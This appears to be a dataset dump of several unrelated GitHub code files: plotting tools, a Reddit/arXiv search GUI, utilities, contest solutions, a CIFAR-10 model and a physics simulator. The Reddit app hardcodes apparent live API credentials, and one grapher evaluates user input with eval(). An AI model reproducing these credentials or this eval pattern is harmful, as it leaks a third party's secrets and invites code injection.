usar = funcion.replace('f', str(x))\n return eval(usar)\n\n\ndef graficaTriangulo(rectangles, a, b, fx):\n plt.clf()\n # GRAFICA\n # Puntos de muestra\n x = sp.symbols('x') # Crea variable x\n fx = sp.lambdify(x, fx) # Creamos simbolicamente a f\n\n muestras = rectangles + 1\n xi = np.linspace(a, b, muestras)\n fi = fx(xi)\n # Linea suave\n muestraslinea = rectangles * 10 + 1\n xk = np.linspace(a, b, muestraslinea)\n fk = fx(xk)\n lugar = str(fx).find('acos')\n lugar2 = str(fx).find('asin')\n # Graficando\n plt.plot(xk, fk, label='f(x)')\n plt.plot(xi, fi, marker='o',\n color='orange', label='muestras')\n\n plt.xlabel('x')\n plt.ylabel('f(x)')\n\n plt.title('Integral: Regla de Rectangulos')\n plt.legend()\n plt.fill_between(xi, 0, fi, color='g')\n for i in range(0, muestras, 1):\n limite = float(fx(xi[i]))\n plt.vlines(xi[i], ymin=0.0, ymax=limite, color='blue')\n xeje = np.arange(-200, 200, 0.01)\n ecuacionEje = 'x*0'\n plt.plot(xeje, [ecuacion(ecuacionEje, i) for i in xeje], color='black', label='eje x')\n plt.plot([ecuacion(ecuacionEje, i) for i in xeje], xeje, color='black', label='eje y')\n plt.grid()\n plt.show()\n\n\n# graficaTriangulo(25,-25,10, \"x**2-2*x+3\")\ndef graficarFuncion(ecuacionUsar):\n plt.clf()\n plt.grid()\n msj = str(remplazoFuncion(ecuacionUsar, 'x'))\n msj = msj.replace('math.', '')\n msj = msj.replace('pi', 'π')\n lugar = ecuacionUsar.find('acos')\n lugar2 = ecuacionUsar.find('asin')\n # Graficar positivamente\n if lugar != -1 or lugar2 != -1:\n xPositivo = np.arange(0, 1, 0.01)\n xNegativo = np.arange(-1, 0, 0.01)\n else:\n xPositivo = np.arange(0.001, 200, 0.01)\n xNegativo = np.arange(-200, 0, 0.01)\n ecuacionEje = 'x*0'\n arregloEje = (-5000, 5000, 0.01)\n plt.plot(arregloEje, [ecuacion(ecuacionEje, i) for i in arregloEje], color='black', label='eje x')\n plt.plot([ecuacion(ecuacionEje, i) for i in arregloEje], arregloEje, color='black', label='eje y')\n\n try:\n plt.plot(xNegativo, [ecuacion(ecuacionUsar, i) for i in xNegativo])\n plt.plot(xPositivo, [ecuacion(ecuacionUsar, i) for i in xPositivo], label=msj)\n except:\n plt.plot(xPositivo, [ecuacion(ecuacionUsar, i) for i in xPositivo], label=msj)\n\n return plt\n\n\ndef graficadoraRecta(ecuacionUsar):\n # Graficar positivamente\n plt.grid()\n msj = str(remplazoFuncion(ecuacionUsar, 'x'))\n msj = msj.replace('math.', '')\n msj = msj.replace('pi', 'π')\n\n lugar = ecuacionUsar.find('acos')\n lugar2 = ecuacionUsar.find('asin')\n # Graficar positivamente\n if lugar != -1 or lugar2 != -1:\n xPositivo = np.arange(0, 1, 0.01)\n xNegativo = np.arange(-1, 0, 0.01)\n else:\n xPositivo = np.arange(0.001, 200, 0.01)\n xNegativo = np.arange(-200, 0, 0.01)\n ecuacionEje = 'x*0'\n plt.plot(xPositivo, [ecuacion(ecuacionEje, i) for i in xPositivo], color='black', label='eje x')\n plt.plot([ecuacion(ecuacionEje, i) for i in xPositivo], xPositivo, color='black', label='eje y')\n\n try:\n plt.plot(xNegativo, [ecuacion(ecuacionUsar, i) for i in xNegativo])\n plt.plot(xPositivo, [ecuacion(ecuacionUsar, i) for i in xPositivo], label=msj)\n except:\n plt.plot(xPositivo, [ecuacion(ecuacionUsar, i) for i in xPositivo], label=msj)\n return plt\n\n\ndef graficarPunto(puntoX, puntoY, color):\n msj = \"(\" + str(puntoX) + \" , \" + str(puntoY) + \")\"\n plt.grid()\n plt.plot(puntoX, puntoY, marker=\"o\", label=msj, color=color)\n return plt\n\n\nelec = 0\n\n\ndef traductor(msj):\n msj = msj.replace('e(', 'exp(')\n msj = msj.replace('exp(', 'math.exp(')\n\n msj = msj.replace('sin(', 'math.sin(')\n msj = msj.replace('sen(', 'math.sin(')\n msj = msj.replace('cos(', 'math.cos(')\n msj = msj.replace('tan(', 'math.tan(')\n msj = msj.replace('sec(', 'math.asin(')\n msj = msj.replace('csc(', 'math.acos(')\n msj = msj.replace('cot(', 'math.atan(')\n msj = msj.replace('log(', 'math.log(')\n msj = msj.replace('π', 'math.pi')\n msj = msj.replace('√(', 'math.sqrt(')\n msj = msj.replace('√', 'math.sqrt(')\n msj = msj.replace('^', '**')\n return msj\n\n\ndef graficaParaGraficador(ecuacionUsar, color, ele):\n\n ecuacionUsar = traductor(ecuacionUsar)\n msj = str(remplazoFuncion(ecuacionUsar, 'x'))\n msj = msj.replace('math.', '')\n msj = msj.replace('pi', 'π')\n lugar = ecuacionUsar.find('acos')\n lugar2 = ecuacionUsar.find('asin')\n lugar3 = ecuacionUsar.find('log')\n # Graficar positivamente\n if lugar != -1 or lugar2 != -1:\n xPositivo = np.arange(0, 1, 0.01)\n xNegativo = np.arange(-1, 0, 0.01)\n else:\n xPositivo = np.arange(0.001, 200, 0.01)\n xNegativo = np.arange(-200, 0, 0.01)\n arregloEje = (-200, 200, 0.01)\n ecuacionEje = 'x*0'\n if ele == 0:\n plt.plot(arregloEje, [ecuacion(ecuacionEje, i) for i in arregloEje], color='black', label='eje x')\n plt.plot([ecuacion(ecuacionEje, i) for i in arregloEje], arregloEje, color='black', label='eje y')\n try:\n plt.plot(xNegativo, [ecuacion(ecuacionUsar, i) for i in xNegativo], color=color)\n plt.plot(xPositivo, [ecuacion(ecuacionUsar, i) for i in xPositivo], label=msj, color=color)\n except:\n plt.plot(xPositivo, [ecuacion(ecuacionUsar, i) for i in xPositivo], label=msj, color=color)\n plt.grid()\n\n return plt\ndef graficaCurvas(arreglo1,arreglo2):\n ecuacionEje = 'x*0'\n arregloEje = (-200, 200, 0.01)\n\n plt.plot(arregloEje, [ecuacion(ecuacionEje, i) for i in arregloEje], color='black', label='eje x')\n plt.plot([ecuacion(ecuacionEje, i) for i in arregloEje], arregloEje, color='black', label='eje y')\n for i in range(0,len(arreglo1)):\n graficarPunto(arreglo1[i],arreglo2[i],\"red\")\n plt.grid()\n plt.show()\n# graficaParaGraficador\n# ('((x/2)-(1/3))*(math.exp(1)**(-1/2*(x**2)))+math.sin(math.pi/2*x)','red')#\n","repo_name":"cloumaxx/metodos_numericos","sub_path":"Codigo/funciones/graficadora.py","file_name":"graficadora.py","file_ext":"py","file_size_in_byte":6208,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"13881245642","text":"from tkinter import *\r\nimport tkinter as tk\r\nimport tkinter.font as font\r\nimport praw\r\nimport re\r\nimport webbrowser\r\nimport arxiv\r\nimport nltk\r\nfrom Corpus import Corpus\r\nfrom Classes import Document, RedditDocument, ArxivDocument\r\n\r\nfrom tkinter import *\r\nimport matplotlib\r\nmatplotlib.use(\"TkAgg\")\r\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\r\nfrom matplotlib.figure import Figure\r\nimport matplotlib.animation as animation\r\nimport requests\r\n\r\n#-----------Parametres de la fenetre-----------\r\n#Création de la fenêtre\r\nfenetre = tk.Tk()\r\nfenetre.geometry(\"1000x700\")\r\nfenetre.config(background='#d9bc8d')\r\nfenetre.minsize(480,360)\r\n\r\n#Définir le font\r\nf = font.Font(family='Fixedsys', size=30)\r\nf_button =font.Font(family='System', size=20)\r\n\r\n#Creer la frame principale\r\nframe = Frame(fenetre,bg='#d9bc8d')\r\nframe.pack(expand=YES)\r\n\r\n#Titre\r\nlabel_titre = tk.Label(frame, text= \"Recherche d'articles\", bg='#d9bc8d')\r\nlabel_titre['font'] = f\r\nlabel_titre.pack()\r\n\r\n# -----------Widget du Moteur de recherche-----------\r\n#champ de saisie\r\nsaisi=tk.Entry(fenetre, width=35)\r\nsaisi.place(x=950,y=50)\r\n\r\n#Bouton de recherche\r\nrecherche= tk.Button(fenetre, text=\"Rechercher\", background=\"#6ec471\")\r\nrecherche['font'] = f_button\r\nrecherche.place(x=975,y=90)\r\n\r\n#Bouton de sortie\r\nbouton = Button(fenetre, text=\"Fermer\", command= fenetre.quit, background=\"#c24646\")\r\nbouton['font'] = f_button\r\nbouton.place(x=500,y=600)\r\n\r\n#Connexion a Reddit\r\nreddit = praw.Reddit(client_id='LUIRAKT1qtmz7zCq8j3Lpg', client_secret='-Ho4_YDmIN9s54m6JhQCYlE6NSgkug', user_agent='RedApp')\r\narticles_reddit = []\r\nsubreddit = reddit.subreddit(\"science\")\r\nfor submission in subreddit.hot(limit=100):\r\n articles_reddit.append(submission.title + \" \" + submission.selftext)\r\n\r\n#Option pour filtrer les resultats par date\r\nfiltre_date = tk.IntVar()\r\nboite_date = tk.Checkbutton(fenetre, text=\"Filtrer par date\", variable=filtre_date, bg='#babf4e' )\r\nboite_date.place(x=975,y=150)\r\n\r\n#Menu deroulant\r\nselect = tk.StringVar()\r\noptions = [\"Cette semaine\", \"Ce mois\", \"Cette année\", \"Tous\"]\r\nmenu = tk.OptionMenu(fenetre, select, *options)\r\nmenu.place(x=975,y=300)\r\n\r\ndef search():\r\n mots = saisi.get()\r\n for submission in reddit.subreddit(\"all\").search(mots, sort=\"relevance\", limit=10):\r\n webbrowser.open(submission.url)\r\n\r\nrecherche.config(command=search)\r\n\r\n#----------Comparaison du nombre d'articles venant de Reddit et d'Arvix---------------------\r\nclass App:\r\n def __init__(self, master):\r\n self.master = master\r\n self.frame = tk.Frame(self.master)\r\n self.create_widgets()\r\n self.frame.place(x=50,y=50)\r\n\r\n def create_widgets(self):\r\n self.nb_reddit_label = tk.Label(self.frame, text=\"Nombre d'articles de Reddit: 0\")\r\n self.nb_reddit_label.pack()\r\n\r\n self.nb_arxiv_label = tk.Label(self.frame, text=\"Nombre d'articles d'Arvix: 0\")\r\n self.nb_arxiv_label.pack()\r\n\r\n self.update_button = tk.Button(self.frame, text=\"Update\", command=self.update_stats)\r\n self.update_button.pack()\r\n\r\n def update_stats(self):\r\n # On compte le nombre d'articles provenant de Reddit et d'Arxiv\r\n nb_reddit_articles = 0\r\n nb_arxiv_articles = 0\r\n for doc in corpus.documents:\r\n if doc.getType() == \"Reddit\":\r\n nb_reddit_articles += 1\r\n elif doc.getType() == \"Arxiv\":\r\n nb_arxiv_articles += 1\r\n\r\n # On met à jour les labels avec les nouvelles valeurs\r\n self.nb_reddit_label.config(text=f\"Nombre d'articles de Reddit: {nb_reddit_articles}\")\r\n self.nb_arxiv_label.config(text=f\"Nombre d'articles d'Arvix: {nb_arxiv_articles}\")\r\n\r\n\r\n# On crée un nouveau Corpus vide\r\ncorpus = Corpus(\"Corpus de documents\")\r\n\r\n# On crée des objets RedditDocument et ArxivDocument\r\ndoc1 = RedditDocument(\"Article 1\", \"Author 1\", \"Content 1\", 100)\r\ndoc2 = ArxivDocument(\"Article 2\", \"Author 2\", \"Content 2\", [\"Coauthor 1\", \"Coauthor 2\"])\r\ndoc3 = RedditDocument(\"Article 3\", \"Author 3\", \"Content 3\", 50)\r\ndoc4 = ArxivDocument(\"Article 4\", \"Author 4\", \"Content 4\", [\"Coauthor 3\", \"Coauthor 4\"])\r\n\r\n# On ajoute les documents au Corpus\r\ncorpus.add(doc1)\r\ncorpus.add(doc2)\r\ncorpus.add(doc3)\r\ncorpus.add(doc4)\r\n\r\n# Fonction de mise à jour du graphique\r\ndef update_plot(i):\r\n # Récupération des données de l'article Reddit\r\n article_data = requests.get(saisi.get()).text\r\n\r\n # Calcul de la fréquence d'occurrence du mot dans l'article\r\n word_count = article_data.count(word_entry.get())\r\n\r\n # Ajout du nombre d'occurrences du mot à la liste des données du graphique\r\n y_vals.append(word_count)\r\n x_vals.append(i)\r\n\r\n # Mise à jour du graphique\r\n graph.clear()\r\n graph.plot(x_vals, y_vals)\r\n\r\n# Création des widgets\r\nword_label = Label(fenetre, text=\"Mot:\")\r\nword_entry = Entry(fenetre)\r\nreddit_label = Label(fenetre, text=\"Article Reddit:\")\r\nreddit_entry = Entry(fenetre)\r\n\r\n#right_frame.grid(row=0, column=1, sticky=W)\r\n\r\n# Création du graphique\r\nfigure = Figure(figsize=(3,3))\r\ngraph = figure.add_subplot(111)\r\ncanvas = FigureCanvasTkAgg(figure, fenetre)\r\ncanvas.draw()\r\ncanvas.get_tk_widget().pack(side=\"bottom\", anchor=\"se\" )\r\n\r\n# Mise à jour du graphique toutes les 1000ms\r\nani = animation.FuncAnimation(figure, update_plot, interval=1000)\r\n\r\n# Ajout des widgets à la fenêtre\r\nword_label.place(x=50, y=600)\r\nword_entry.place(x=50, y=620)\r\nreddit_label.place(x=50, y=640)\r\nreddit_entry.place(x=50, y=660)\r\n\r\n\r\n#right_frame.pack(side=\"right\")\r\n\r\n#Afficher la frame\r\nframe.pack(side=\"left\")\r\n#right_frame.grid(row=0, column=1, sticky=W)\r\n\r\napp = App(fenetre)\r\nfenetre.mainloop()\r\n","repo_name":"Elaurasla/Projet_Spe","sub_path":"Projet_spe.py","file_name":"Projet_spe.py","file_ext":"py","file_size_in_byte":5664,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69841497389","text":"#!/usr/bin/env python3\n'''Utility functions.\n\n>>> print(TRUE)\n/usr/bin/true\n>>> print(FALSE)\n/usr/bin/false\n>>> print(WILD_TYPE)\n/Users/jsh/Desktop/Python/bitarray_mutants/src/wild_type\n'''\n\nimport os\nimport shutil\n\nfrom bitarray import bitarray\n\nFALSE = shutil.which('false')\nTRUE = shutil.which('true')\nWILD_TYPE = os.path.join(os.getcwd(), 'wild_type')\n\n\ndef create_dir(dirname):\n '''Mkdir, first removing older versions if needed.'''\n try:\n os.mkdir(dirname)\n except FileExistsError:\n shutil.rmtree(dirname)\n os.mkdir(dirname)\n\n\ndef results_file(dirname):\n '''Return results name of results file.\n Does not create the file or require the file exist.\n >>> print(results_file('whatever'))\n whatever/results\n '''\n return os.path.join(dirname, 'results')\n\n\ndef path_to_int(path):\n '''Transform a path into a decimal position.\n\n >>> path_to_int('0a')\n 10\n >>> path_to_int('00/0a')\n 10\n >>> path_to_int('00/a')\n 10\n >>> path_to_int('00/00/00/00/0f')\n 15\n '''\n return int(path.replace('/', ''), 16)\n\n\ndef int_to_path(n, width):\n '''Make a filepath representing an int.\n Convert the int to hex,\n Split the hex number into a filepath,\n return (directory, filename)\n If width > 2, use first two hex digits for subdirectory\n If width > 4, use first four hex digits for two levels\n so 0 -> 00000...0 -> ('00/00', '0...0')\n\n >>> int_to_path(10, 2)\n '0a'\n >>> int_to_path(0, 3)\n '00/0'\n >>> int_to_path(15, 10)\n '00/00/00/00/0f'\n '''\n fmt = '0' + str(width) + 'x'\n s = format(n, fmt)\n assert len(s) <= width\n return '/'.join([s[i:i+2] for i in range(0, len(s), 2)])\n\n\ndef file_to_bitarray(file):\n '''Read a file into a bitarray.\n '''\n with open(file, 'rb') as f:\n b = bitarray()\n b.fromfile(f)\n return b\n","repo_name":"jsh/bitarray_mutants","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34425429218","text":"# link : https://leetcode.com/contest/biweekly-contest-96/problems/minimum-common-value/\n# author : Mohamed Ibrahim\n\nclass Solution:\n def getCommon(self, nums1: List[int], nums2: List[int]) -> int:\n \n i,j = 0,0\n while i < len(nums1) and j < len(nums2):\n if nums1[i] == nums2[j]:\n return nums1[i]\n elif nums1[i] > nums2[j]:\n j+=1\n else:\n i+=1\n return -1\n \n\n","repo_name":"M0hamedIbrahim1/-Data-Structure-Algorithms","sub_path":"Two Pointers/Problems/2540. Minimum Common Value.py","file_name":"2540. Minimum Common Value.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"20340419836","text":"from django.db.models import FilteredRelation, Q\n\nfrom .models import Account\n\n# Select accounts that are not related to queue items with templet_id = 2\nAccount.objects.exclude(queue__templet_id=2) # use IN\n\nAccount.objects.annotate(queue_current_templet=FilteredRelation('queue', condition=Q(queue__templet_id=2)))\\\n .filter(queue_current_templet=None) # use LEFT JOIN\n\n\n# How to \"join\" through a field that is not foreign key in Django:\n\n# 1 - set the field as models.ForeignKey but with db_constraint=False and use django lookups as usual\n\n# 2 - get the data you need from the other tables in subqueries\nfrom fresh.models import Product, ProductCategory\nfrom django.db.models import Subquery, OuterRef\nproducts = Product.objects.annotate(category_name=Subquery(\n ProductCategory.objects.filter(id=OuterRef('category_id')).values('name')[:1]\n))\n# or\nproducts = Product.objects.extra(\n select={\n 'category_name': 'SELECT fresh_productcategory.name FROM fresh_productcategory '\n 'WHERE fresh_product.category_id=fresh_productcategory.id'\n }\n)\n","repo_name":"yannickkiki/stuffs","sub_path":"djangotest/fresh/notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"22652125135","text":"import numpy as np\nimport torch\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\nfrom hyperopt import hp\nfrom hyperopt.pyll import scope\nfrom PIL import Image\nfrom sklearn.datasets import make_classification\nfrom skorch import NeuralNetClassifier\nfrom skorch.callbacks import Callback, EarlyStopping, EpochScoring, LRScheduler\nfrom skorch.dataset import CVSplit, Dataset as SkorchDataset\nfrom torch import nn\nfrom torch.optim.lr_scheduler import CosineAnnealingWarmRestarts\nfrom torch.utils.data import Dataset, Subset\n\nfrom config import RANDOM_STATE\nfrom utils import NonTreeBasedModel\n\n\nclass Cifar10CustomModel(NonTreeBasedModel):\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n @classmethod\n def prepare_dataset(cls, train_data, test_data, categorical_features=None):\n return train_data, test_data # Cifar10 is already clean\n\n @classmethod\n def build_estimator(\n cls, hyperparams, train_data, verbose=True, test=False\n ): # change default verbose to false later\n early_stopping_val_percent = 10\n\n n_training_examples = len(train_data[0]) * (\n 1 - (early_stopping_val_percent / 100)\n )\n n_iter_per_epoch = n_training_examples / hyperparams[\"batch_size\"]\n n_iter_btw_restarts = int(hyperparams[\"epochs_btw_restarts\"] * n_iter_per_epoch)\n callbacks = [\n (\"fix_seed\", cls.FixRandomSeed(RANDOM_STATE)),\n (\"lr_monitor\", cls.LRMonitor()),\n (\n \"accuracy_score_valid\",\n EpochScoring(\"accuracy\", lower_is_better=False, on_train=True),\n ),\n (\n \"early_stopping\",\n EarlyStopping(monitor=\"valid_acc\", lower_is_better=False, patience=100),\n ),\n (\n \"learning_rate_scheduler\",\n LRScheduler(\n policy=cls.SkorchCosineAnnealingWarmRestarts,\n T_0=n_iter_btw_restarts,\n T_mult=hyperparams[\"epochs_btw_restarts_mult\"],\n ),\n ),\n ]\n\n def validation_split(X, y):\n \"\"\" Custom split is used to apply augmentation to the training set only \"\"\"\n splitter = CVSplit(\n cv=int(100 / early_stopping_val_percent), random_state=RANDOM_STATE\n )\n dataset_train, dataset_valid = splitter(X)\n dataset_train = cls.AugmentedDataset(dataset_train)\n return dataset_train, dataset_valid\n\n return NeuralNetClassifier(\n cls.CifarCustomNet,\n criterion=nn.CrossEntropyLoss,\n optimizer=torch.optim.SGD,\n max_epochs=hyperparams[\"max_epochs\"] if not test else 1,\n iterator_train__shuffle=True,\n iterator_train__num_workers=4,\n iterator_valid__num_workers=4,\n dataset=cls.NormalizedDataset,\n callbacks=callbacks,\n device=cls.device,\n train_split=validation_split,\n lr=hyperparams[\"learning_rate\"],\n batch_size=hyperparams[\"batch_size\"],\n optimizer__momentum=hyperparams[\"momentum\"],\n optimizer__weight_decay=hyperparams[\"weight_decay\"],\n optimizer__nesterov=hyperparams[\"nesterov\"],\n module__conv_dropout=hyperparams[\"conv_dropout\"],\n module__fc_dropout=hyperparams[\"fc_dropout\"],\n verbose=3 if verbose else 0,\n )\n\n hp_space = {\n \"batch_size\": 32,\n \"learning_rate\": 1.5e-2,\n \"momentum\": 0.9,\n \"weight_decay\": 1e-4,\n \"nesterov\": True,\n \"conv_dropout\": 0.1,\n \"fc_dropout\": 0.1,\n \"epochs_btw_restarts\": 60,\n \"epochs_btw_restarts_mult\": 1,\n \"max_epochs\": 119,\n }\n\n class CifarCustomNet(nn.Module):\n def __init__(self, conv_dropout, fc_dropout):\n super(Cifar10CustomModel.CifarCustomNet, self).__init__()\n config = {\n \"branch1\": [[3, 32]],\n \"branch2\": [[3, 64], [64, 128]],\n \"branch3\": [[3, 32], [32, 64], [64, 64]],\n \"head\": [[32 + 128 + 64, 256], [256, 256], [256, 10]],\n }\n activation = nn.ELU\n\n # basis\n self.branch1 = nn.Sequential(\n nn.Conv2d(*config[\"branch1\"][0], 5), # 32 -> 28\n activation(),\n nn.BatchNorm2d(config[\"branch1\"][0][1]),\n nn.Dropout2d(conv_dropout),\n nn.MaxPool2d(2, 2),\n ) # 28 -> 14\n # higher resolution\n self.branch2_layer1 = nn.Sequential(\n nn.Conv2d(*config[\"branch2\"][0], 3), # 32 -> 30\n activation(),\n nn.Dropout2d(conv_dropout),\n )\n\n self.branch2_layer2 = nn.Sequential(\n nn.Conv2d(*config[\"branch2\"][1], 3), # 30 -> 28\n activation(),\n nn.BatchNorm2d(config[\"branch2\"][1][1]),\n nn.Dropout2d(conv_dropout),\n nn.MaxPool2d(2, 2),\n ) # 28 -> 14\n # smaller resolution\n self.branch3_layer1 = nn.Sequential(\n nn.Conv2d(*config[\"branch3\"][0], 7, padding=2), # 32 -> 30\n activation(),\n nn.Dropout2d(conv_dropout),\n )\n self.branch3_layer2 = nn.Sequential(\n nn.Conv2d(*config[\"branch3\"][1], 5, padding=1), # 30 -> 28\n activation(),\n nn.Dropout2d(conv_dropout),\n )\n self.branch3_layer3 = nn.Sequential(\n nn.Conv2d(*config[\"branch3\"][2], 3, padding=1), # 28 -> 28\n nn.BatchNorm2d(config[\"branch3\"][2][1]),\n activation(),\n nn.Dropout2d(conv_dropout),\n nn.MaxPool2d(2, 2),\n ) # 28 -> 14\n\n # head\n self.head_layer1 = nn.Sequential(\n nn.Conv2d(*config[\"head\"][0], 3, padding=1), # 14 -> 14\n activation(),\n nn.BatchNorm2d(config[\"head\"][0][1]),\n nn.Dropout2d(conv_dropout),\n )\n self.head_layer2 = nn.Sequential(\n nn.Conv2d(*config[\"head\"][1], 3), # 14 -> 12\n activation(),\n nn.BatchNorm2d(config[\"head\"][1][1]),\n nn.Dropout2d(conv_dropout),\n )\n self.fc = nn.Linear(*config[\"head\"][2])\n\n return\n\n def forward(self, img):\n x = self.branch1(img)\n\n y = self.branch2_layer1(img)\n y = self.branch2_layer2(y)\n\n z = self.branch3_layer1(img)\n z = self.branch3_layer2(z)\n z = self.branch3_layer3(z)\n\n x = torch.cat((x, y, z), 1)\n x = self.head_layer1(x)\n x = self.head_layer2(x)\n\n # Global Average Pooling\n x = F.avg_pool2d(x, x.shape[-1]).view(-1, x.shape[1])\n\n x = self.fc(x)\n\n return x\n\n class AugmentedDataset(Dataset):\n \"\"\" Used in validation_split function to apply augmentations on training set \"\"\"\n\n def __init__(self, dataset_subset):\n self.dataset_subset = dataset_subset\n\n self.transforms = transforms.Compose(\n [\n transforms.RandomAffine(degrees=15, translate=(0.1, 0.1)),\n transforms.RandomHorizontalFlip(0.5),\n transforms.ToTensor(),\n transforms.Normalize(\n (0.4914, 0.48216, 0.4465), (0.247, 0.24346, 0.2616)\n ),\n ]\n )\n\n def __len__(self):\n return len(self.dataset_subset)\n\n def __getitem__(self, index):\n original_index = self.dataset_subset.indices[index]\n img, y = self.dataset_subset.dataset.get_img(original_index)\n return self.transforms(img), y\n\n class NormalizedDataset(SkorchDataset):\n \"\"\" Used to reshape examples and lazily normalize the dataset \"\"\"\n\n def __init__(self, X, y=None):\n super(Cifar10CustomModel.NormalizedDataset, self).__init__(X, y)\n self.transforms = transforms.Compose(\n [\n transforms.ToTensor(),\n transforms.Normalize(\n (0.4914, 0.48216, 0.4465), (0.247, 0.24346, 0.2616)\n ),\n ]\n )\n\n def __getitem__(self, index):\n img, y = self.get_img(index)\n return self.transforms(img), y\n\n def get_img(self, index):\n \"\"\"\n Useful to plot an image\n Also used by AugmentedDataset to get non-transformed PIL image\n \"\"\"\n X, y = super(Cifar10CustomModel.NormalizedDataset, self).__getitem__(index)\n img = np.moveaxis(X.reshape(3, 32, 32), [0, 1, 2], [2, 0, 1])\n img = Image.fromarray(img)\n return img, y\n\n class FixRandomSeed(Callback):\n \"\"\" Skorch callback used to fix seeds at the beginning of the training \"\"\"\n\n def __init__(self, seed=42):\n self.seed = seed\n\n def initialize(self):\n torch.manual_seed(self.seed)\n torch.cuda.manual_seed(self.seed)\n\n try:\n random.seed(self.seed)\n except NameError:\n import random\n\n random.seed(self.seed)\n\n np.random.seed(self.seed)\n torch.backends.cudnn.deterministic = True\n\n class LRMonitor(Callback):\n \"\"\" Skorch callback used to save the learning rate every epoch \"\"\"\n\n def on_epoch_end(self, net, **kwargs):\n net.history.record(\"lr\", net.optimizer_.param_groups[0][\"lr\"])\n\n class SkorchCosineAnnealingWarmRestarts(CosineAnnealingWarmRestarts):\n \"\"\"\n CosineAnnealingWarmRestarts scheduler with additional '.batch_step()' method\n called by Skorch every batch. This class is necessary to ensure the learning rate is\n updated every batch as opposed to every epoch (Skorch default behavior)\n \"\"\"\n\n def batch_step(self, batch_idx):\n super(Cifar10CustomModel.SkorchCosineAnnealingWarmRestarts, self).step(\n batch_idx\n )\n","repo_name":"hantoine/ml-algorithms-benchmark","sub_path":"classifier_interpretability/models/custom_net.py","file_name":"custom_net.py","file_ext":"py","file_size_in_byte":10314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8428465001","text":"\"\"\"\nC - Switches\n---input\n2 2\n2 1 2\n1 2\n0 1\n---output\n1\n\"\"\"\n\nn,m = map(int,input().split()) # n:電球 , m:スイッチ\nl = [] # lは、電球が繋がっているスイッチの個数\ns = [] # sは、電球が繋がっているスイッチのID\n#p = [] # pは、点灯条件に関わる値\n\nfor i in range(m):\n tmp=list(map(int,input().split())) #一回全部リストに詰め込む\n l.append(tmp[0])\n s.append(tmp[1:])\n\np = list(map(int,input().split()))\n\nsum_cnt=0\nans = 0\nfor i in range(2**n):\n for j in range(m): # 全Switchを探索\n on_cnt = 0\n for g in range(l[j]): #あるSwitch jに対して接続されている電球を調べる\n if (i>>(s[j][g]-1))&1:\n on_cnt+=1\n \n if on_cnt%2 ==p[j]:\n sum_cnt +=1\n #print(bin(i))\n if sum_cnt == m:\n ans +=1\n\nprint(ans)","repo_name":"tharashi10/algorithm","sub_path":"atcoder/Bootcamp/11_Switch.py","file_name":"11_Switch.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70368665066","text":"# threebodyjg\n\n# A 3D gravitational 3-body simulation\n# Jarred's Project\n# University of Innsbruck, Astromundus VII, 2016\n# Formatted using pep8 protocol\n\nimport wx\nimport numpy as np\nfrom wx.lib.masked import NumCtrl\n# NumCtrl is version of TxtCtrl that only acceps numerical input\nfrom visual import *\n\n\nclass MyWindow(wx.Frame):\n \"\"\"This will simulate the three body problem\"\"\"\n def __init__(self, parent, title):\n wx.Frame.__init__(self, parent, title=\"3 Body Magic\", size=(700, 600))\n self.CreateStatusBar() # a status bar at the bottom of the window\n\n # Create a grid\n grid = wx.GridBagSizer(hgap=5, vgap=5)\n mainSizer = wx.BoxSizer(wx.VERTICAL)\n hSizer = wx.BoxSizer(wx.HORIZONTAL)\n\n # set up initial condition inputs\n self.m1_label = wx.StaticText(self, label=\" Body 1:\")\n grid.Add(self.m1_label, pos=(0, 0))\n self.m2_label = wx.StaticText(self, label=\" Body 2:\")\n grid.Add(self.m2_label, pos=(3, 0))\n self.m3_label = wx.StaticText(self, label=\" Body 3:\")\n grid.Add(self.m3_label, pos=(6, 0))\n\n # position labels\n self.m1_xpos_label = wx.StaticText(self, label=\" x-pos: \")\n grid.Add(self.m1_xpos_label, pos=(0, 3))\n self.m1_ypos_label = wx.StaticText(self, label=\" y-pos: \")\n grid.Add(self.m1_ypos_label, pos=(1, 3))\n self.m1_zpos_label = wx.StaticText(self, label=\" z-pos: \")\n grid.Add(self.m1_zpos_label, pos=(2, 3))\n self.m2_xpos_label = wx.StaticText(self, label=\" x-pos: \")\n grid.Add(self.m2_xpos_label, pos=(3, 3))\n self.m2_ypos_label = wx.StaticText(self, label=\" y-pos: \")\n grid.Add(self.m2_ypos_label, pos=(4, 3))\n self.m2_zpos_label = wx.StaticText(self, label=\" z-pos: \")\n grid.Add(self.m2_zpos_label, pos=(5, 3))\n self.m3_xpos_label = wx.StaticText(self, label=\" x-pos: \")\n grid.Add(self.m3_xpos_label, pos=(6, 3))\n self.m3_ypos_label = wx.StaticText(self, label=\" y-pos: \")\n grid.Add(self.m3_ypos_label, pos=(7, 3))\n self.m3_zpos_label = wx.StaticText(self, label=\" z-pos: \")\n grid.Add(self.m3_zpos_label, pos=(8, 3))\n\n # velocity labels\n self.m1_xvel_label = wx.StaticText(self, label=\" x-vel: \")\n grid.Add(self.m1_xvel_label, pos=(0, 6))\n self.m1_yvel_label = wx.StaticText(self, label=\" y-vel: \")\n grid.Add(self.m1_yvel_label, pos=(1, 6))\n self.m1_zvel_label = wx.StaticText(self, label=\" z-vel: \")\n grid.Add(self.m1_zvel_label, pos=(2, 6))\n self.m2_xvel_label = wx.StaticText(self, label=\" x-vel: \")\n grid.Add(self.m2_xvel_label, pos=(3, 6))\n self.m2_yvel_label = wx.StaticText(self, label=\" y-vel: \")\n 